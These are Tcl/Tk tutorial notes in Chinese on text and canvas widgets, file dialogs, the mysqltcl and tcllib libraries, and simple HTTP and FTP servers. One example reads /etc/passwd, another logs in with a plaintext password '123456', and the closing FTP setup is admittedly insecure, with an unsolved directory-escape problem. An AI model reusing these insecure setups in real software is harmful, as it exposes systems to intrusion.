將一個帶有標籤的文字插入:.物件名 insert 位置 ''文字字串'' 標簽名

改變某標籤的那段文字屬性:.物件名 tag configure ''標籤名'' 選項 …

使用例:.a tag configure zz -justify center # 將 zz代表的那段文字置中

*用 tag delete 只能刪除目前標籤宣告的屬性,而不是標籤代表的那段文字

例:.a tag delete zz # 文字還在,置中被解除

*通常在文字或繪圖物件視窗中,增加文字或圖形時後加 tag(標籤),主要用途是對他們作後

續操作(移動、改變大小等)。

使用例: text .a -height 30 -width 80 -yscrollcommand ''.b set''

scrollbar .b -command ''.a yview'' # 第一二行文字與捲動軸做好連結

pack .a .b -side left -fill y # 兩物件填滿視窗垂直向

.a insert 1.0 "這是什麼?\n" Mig35 # 字串用「\n」換行,跟 C 一樣

.a insert 2.end "Was ist das?\n" Su35

.a tag configure Su35 -justify center # 標示為 Su35 的那段文字置中

*若字句尾端沒有加「\n」,則前面的 insert 指定位置是無法自動換行的。若前一行的文字

字尾沒有「\n」,字串「Was ist das?」會直接接在「這是什麼?」之後,縱使宣告

「2.end」放在下一行都沒有效。

用 while迴圈將某個檔案(例如:/etc/passwd)內容讀入一個文字視窗的簡單例子:

set in [open /etc/passwd r]

set i 0

text .a -height 30 -width 80 -yscrollcommand ".b set"

scrollbar .b -command ".a yview"

pack .a .b -side left -fill y

while { [gets $in line]>=0 } {

.a insert $i.0 "$line\n"

# 增加 i值來改變行數起始位置,注意字串尾要加換行碼"\n"才有效

incr i

}

close $in

*繪圖物件指令: canvas .物件名 -width 長度值 -height 高度值

pack .物件名 # 初始化完的繪圖視窗,即可加入圖形

產生圖形: .物件名 create 圖形選項 座標群 -tag 標簽名

移動圖形: .物件名 move 標簽名 新座標值

改變圖形屬性: .物件名 itemconfigure 標簽名 選項 …

create 的圖形選項:line(直線)、oval(橢圓形)、arc(扇形)、polygon(多邊形)、

rectangle(長方形)、text(文字)、image(GIF圖檔)

create 的座標群表示法:x1 y1 x2 y2 x3 y3 … (兩個一組橫向依序排列)

產生直線:.物件名 create line [座標群:起點 終點… (兩點才能畫一直線) ]

產生圓形:.物件名 create oval [端點 1 端點 2]

*在 tk 的圓形是由兩個端點構成的長方形的內接圓,而非用圓心定義。

產生扇形:.物件名 create arc [端點 1 端點 2] -start 起始角度 -extent 加多少度 \

-style 扇形樣式 其他選項(-fill …)

*扇形與圓形的產生方式相同,將長方形的內接圓切成扇形顯示,若不加「-start

」、「-extent」參數則預設 90度,Tk 的 0度是水平線(x 方向),依照逆時針方向算

得角度。改變扇形樣式要加「-style」參數,可用的選擇:pieslice(扇形,預設值)、

chord(弦弧形)、arc(純弧線)

產生多邊形:.物件名 create polygon 座標群 (至少要 3個點,2 點不成形)

產生長方形:.物件名 create rectangle [端點 1 端點 2]

加入文字:font create 字型代號 字型選項(-family … -size …)

.物件名 create text 字串放置位置(座標) -anchor [center/n/w/e/s] \

-font 字型代號 -justify 排版位置 -text ''文字字串''

加入圖片:image create photo 圖片代號 -file 圖檔位置

.物件名 create image 圖片放置位置(座標) -image 圖片代號

*兩點產生橢圓、扇形長方形的示意圖:

使用例:canvas .a -width 300 -height 200

pack .a # 先初始化出繪圖視窗,再加入物件

.a create line 50 50 100 50 100 50 100 100 # 產生兩條線

.a create oval 50 50 150 150 # 產生一圓,中心(100,100),半徑 50

.a create arc 50 50 150 150 -start 30 -extent 90 -style chord -fill ''#ff0000''

# 產生一弦弧形(30~120度),用 ff0000顏色填滿

image create photo MKC -file /usr/local/pic/iss.gif # 宣告來源路徑

.a create image 100 120 -image MKC # 在(100,120)位置放上圖片

*Tk 內建的檔案選擇與瀏覽視窗指令:tk_getOpenFile、tk_getSaveFile

這兩個指令本身只會開啟瀏覽目錄下檔案的視窗,並非真的能做開啟、儲存等檔案處理。它

們本身在選擇裡面的檔案後,會輸出該檔案所在的絕對路徑。因此要跟檔案處理指令

(open,close 等)搭配使用。這些指令也有過濾檔案格式的瀏覽功能。

用法:tk_getOpenFile -title "視窗標題" -filetypes [檔案格式過濾列表]

檔案格式過濾列表是一種特殊的結構格式,通常宣告方式如下:

set 列表變數 {

{ {檔案描述 1} {副檔名 1} }

{ {檔案描述 2} {副檔名 2} }

...

}

簡單的開啟舊檔視窗範例:

set ftype { # 先定義過濾格式的列表名為 ftype

{{文字檔} {.txt}}

{{Tcl 語言檔} {.tcl}}

{{C 原始碼檔} {.c}}

{{全部} {*}} # 也可以使用萬用字元「*」來全部顯示

}

set a [tk_getOpenFile -title "選擇一個檔案" -filetypes $ftype]

puts $a # 執行完 tk_getOpenFile 指令的輸出值即是選擇的檔案路徑

同樣的,tk_getSaveFile 也不會真的複寫掉檔案,也是傳回選擇的檔案絕對路徑。若按下視

窗中的[Cancel]鍵,則會傳回空值。若選擇了一個已經存在的檔案,此指令有跳出警告訊息

對話框「該檔案已存在,確定要複寫?」的功能。

Tcl 的延伸函式庫:mysqltcl官方網站:http://www.xdobry.de/mysqltcl/

官方文件:http://www.xdobry.de/mysqltcl/mysqltcl.html

這是一個可以用 tcl 語言來操控著名資料庫軟體 mysql 的延伸函式庫。安裝方式與傳統的

Unix軟體安裝法一樣,只需./configure && make && make install 即可。使用前必須先啟動

mysql服務。不同 OS 方式不一樣,以 OpenSolaris為例:

svcadm enable svc:/application/database/mysql:version_51

確認服務成功啟動後,回到 tclsh底下:

package require mysqltcl => 3.05 (當它顯示出它的版本時,代表已經讀取到了。)

連上 MySQL資料庫:

::mysql::connect -host [mysql主機 IP] -user [mysql 使用者名] -password [密碼]

以連上本機端,帳號密碼為 mouette/123456登入為例:

::mysql::connect -host localhost -user mouette -password 123456

=> mysql0

當連上時,系統會給定一個資料庫代號,例如 mysql0,當連續連上不同資料庫或是用不同使

用者連資料,都會產生不同的資料庫代號,之後對這些資料庫做存取就是對這些代號下命令

即可。接著就要看資料庫內容,使用"::mysql::info"指令:

::mysql::info mysql0 databases # 看 mysql0底下有哪些資料庫

=> information_schema Russie mysql test (相當於 MySQL的 show databases;)

::mysql::info mysql0 tables # 等同於 MySQL中的 show tables;

=> ::mysql::info/db server: No database selected

此輸出結果告訴我們,還沒有選定資料庫,這時就要使用"::mysql::use"來選定資料庫:

::mysql::use mysql0 Russie # 選定 mysql0 中的 Russie 資料庫

::mysql::info mysql0 tables => avions

當從 MySQL底下查看在 avions 資料表內容如下:

mysql> select * from avions;

+-----------+------------------+-------------+-----+

| Tupolev | Sukhoi | Mig | no |

+-----------+-------------------+------------+-----+

| Tu-95 | Su-25 | Mig-21 | 0 |

| Tu-160 | Su-27 | Mig-29 | 0 |

| Tu-144 | SuperJet100 | Mig-35BM | 0 |

| Tu-22M | PAK-FA | Mig-1.44 | 0 |

+-----------+-------------------+------------+-----+

4 rows in set (0.00 sec)

查看資料表下有哪些資料名稱與 columns屬性宣告:

用法: ::mysql::col [資料庫代號] [資料表名] [選項:name/type/length]

::mysql::col mysql0 avions name # 顯示資料表 avions下的 columns名稱

=> Tupolev Sukhoi Mig no

::mysql::col mysql0 avions type # 顯示資料表 avions下的資料格式

=> string string string long (string代表資料是字串,long是數值)

::mysql::col mysql0 avions numeric # 檢查資料類型是否是數值,是:1,否:0

=> 0 0 0 1

::mysql::col mysql0 avions length # 查詢各 columns宣告的資料長度

=> 10 10 10 5

讀出資料的方式不只一種,可以使用指令"::mysql::query"、"::mysql::fetch" 來一筆筆取出從

「MySQL查詢句」得到的資料,也可以直接用"::mysql::sel"來接MySQL查詢語句,之後再用

tcl 內建列表Lists處理指令來整理資料。而內建的"::mysql::query"是要和"::mysql::fetch"合

用的,"::mysql::query"主要用來建立讀取資料的代號(類似之前檔案變數、socket 的通道),

而"::mysql::fetch"用來取出資料,最後用"::mysql::endquery"結束查詢。

使用例,簡單 while迴圈讀出資料表內每筆資料:

set q1 [::mysql::query mysql0 "select * from avions"]

# 第一行是將用 SQL語法對 mysql0 做查詢,並定義代號為 q1

while { [set row [::mysql::fetch $q1]]>=0 } {

# 當用"::mysql::fetch"對 q1取值如果不為空,則迴圈持續。

# 變數 q1類似檔案變數、channel,但實質上不是,因此不能用 gets取值。

puts $row

}

::mysql::endquery $q1

除了以上方式外,也可以使用"::mysql::sel"指令對整個資料庫、資料表做操作,這個指令可

以內包 MySQL的命令句,即可做到原 MySQL語句所能做的事:

::mysql::sel [資料庫代號] "SQL語句區域" [參數]

例如要顯示 avions 資料表有哪些元素:

::mysql::sel mysql0 "select * from avions" -list

=> {Tu-95 Su-25 Mig-21 0} {Tu-160 Su-27 Mig-29 0} {Tu-144 SuperJet10 Mig-35BM

0} {Tu-22M PAK-FA Mig-1.44 0}

如果後面不接"-list"參數就只會顯示該資料表底下有多少筆資料:

::mysql::sel mysql0 "select * from avions" => 4

使用 MySQL語句與"::mysql::sel"結合,做其他處理的例子:

添加一筆資料用法:

::mysql::sel [資料庫代號] "insert 資料表名(元素 1,元素 2......) values(值 1,值 2......)"

::mysql::sel mysql0 "insert avions(Tupolev, Sukhoi, Mig, no) values('Tu-154','Su-30',

'Mig-31',1)"

在新增資料時要注意的是預設整個 SQL語句以被括號" "包住,則裡面的 values 內的值則不

可以再使用" ",必須改用' ',才不會讓 tcl誤判 SQL語句的區域而產生錯誤訊息:extra

characters after close-quote。

修改資料庫儲存引擎格式:MyISAM → InnoDB

::mysql::sel mysql0 "alter table avions engine=innodb"

對 mySQL的其他控制:

::mysql::close [資料庫代號] # 關閉與此資料庫的連線

::mysql::shutdown [資料庫代號] # 關閉該資料庫的服務(需有此權限才能執行)

Tcl 的延伸函式庫:tcllib官方網站:http://tcllib.sourceforge.net/

官方文件:http://tcllib.sourceforge.net/doc/index.html

這個延伸函式庫本身有非常豐富的功能,種類繁多的函式可使用,補足了很多原本 tcl 函式

的不足。此函式庫博大精深,從進階數學運算到網路協定、架站、文件、網頁輸出等功能都

有,這篇筆記沒有能力全部介紹,所以只能介紹一小部份。這個函式庫本身是純用 Tcl 語言

寫的腳本,不需編譯,直接 make install就可以安裝完成。

*數學函式:

1.數學統計:載入方式:package require math::statistics

通常指令後面直接接數值列表(例:{數值 1 數值 2 數值 3 ...}),即可做運算。

平均值: ::math::statistics::mean {3 2} => 2.5

資料內最小值: ::math::statistics::min {3 2 5 6} => 2.0

資料內最大值: ::math::statistics::max {3 2 5 6} => 6.0

多少筆數值資料: ::math::statistics::number {3 2 5 6 7} => 5

標準差: ::math::statistics::stdev {2 5} => 2.1213203435596424

方差/變異數: ::math::statistics::var {2 5 6} => 4.333333333333334

中位數: ::math::statistics::median {1 2 3 6} => 2.5

*積分運算:載入方式:package require math::calculus

簡單的積分計算 ::math::calculus::integralExpr [起始值] [終值] [積分步數] {宣告函數 }

預設函數變數是 x,積分步數一定是整數,若輸入其他值則積分結果會是 0。

宣告函數表示法例:

f(x)=x2 => { $x**2 } (次方語法與 fortran相似)

使用例:∫x2 + 4x + 7 dx (從 0 積到 10,步數 100)

::math::calculus::integralExpr 0 10 100 { $x**2+4*$x+7 } => 603.3333333333333

*多項式運算:載入方式:package require math::polynomials

宣告多項式: ::math::polynomials::polynomial [多項式係數列表]

表示法例:1 + 2x2 + 3x3 + 4x4 => [list 1 2 3 4] (list 後面的數值是造順序的多項式係數)

使用例:宣告兩個多項式,並做加減乘除運算。(f1 = x2 + 2x + 1、 f2 = x + 1 )

set f1 [::math::polynomials::polynomial [list 1 2 1]] => POLYNOMIAL {1 2 1}

set f2 [::math::polynomials::polynomial [list 1 1]] => POLYNOMIAL {1 1}

這裡必須要注意一件事:(用 list宣告是用升冪排列,但是輸出的 POLYNOMIAL則是降冪。)

相加: ::math::polynomials::addPolyn $f1 $f2 => POLYNOMIAL {1.0 3 2}

相減: ::math::polynomials::subPolyn $f1 $f2 => POLYNOMIAL {1.0 1 0}

相乘: ::math::polynomials::multPolyn $f1 $f2 => POLYNOMIAL {1.0 3.0 3.0 1.0}

相除: ::math::polynomials::divPolyn $f1 $f2 => POLYNOMIAL {1 1.0}

Tcl架設 Server:1.http 網頁伺服器:tclhttpd

官方網站:http://www.tcl.tk/software/tclhttpd/

官方文件:包含在套件內。

此套件相依於 tcllib,必須先裝 tcllib 才能正常啟動 httpd Server。安裝方式採用傳統的執

行 configure然後 make && make install 即可安裝完成。若 configure --prefix=/usr 指定裝在

/usr 目錄下時,網頁放置的目錄會在/usr/tclhttpd/htdocs 中。

啟動服務的方式:/usr/bin/httpd.tcl -port [指定 port,預設 8015]

啟動後,用瀏覽器連入,即可看到 tclhttpd 的首頁,並有詳細的教學。在啟動服務時,會

有顯示 debug的帳號密碼,用此帳號密碼可以登入看到網站的統計資訊。此 Server預設可

讀取一般HTML網頁,但是目前測試 PHP類網頁似乎無法讀取。

2.FTP站:tcllib 的 ftpd 功能

官方文件:http://tcllib.sourceforge.net/doc/ftpd.html

這是延伸函式庫 tcllib 的一個功能,將一些設定存入內定變數中,即可啟動 FTP服務,目前

有碰到目錄跳脫的情況,筆者還在研究中......

載入方式:package require ftpd

set ::ftpd::cwd /tmp # 設定使用者登入目錄是/tmp,"::ftpd::cwd"是內定變數。

set ::ftpd::port 8000 # 設定服務 port 開在 8000,"::ftpd::port"是內定變數。

set ::ftpd::welcome "歡迎進入 UNIX FTP站" # 設定登入後看到的訊息

::ftpd::server # 啟動服務

這樣就完成一個非常簡單但有嚴重安全問題的 FTP站,詳細解法還在研究中......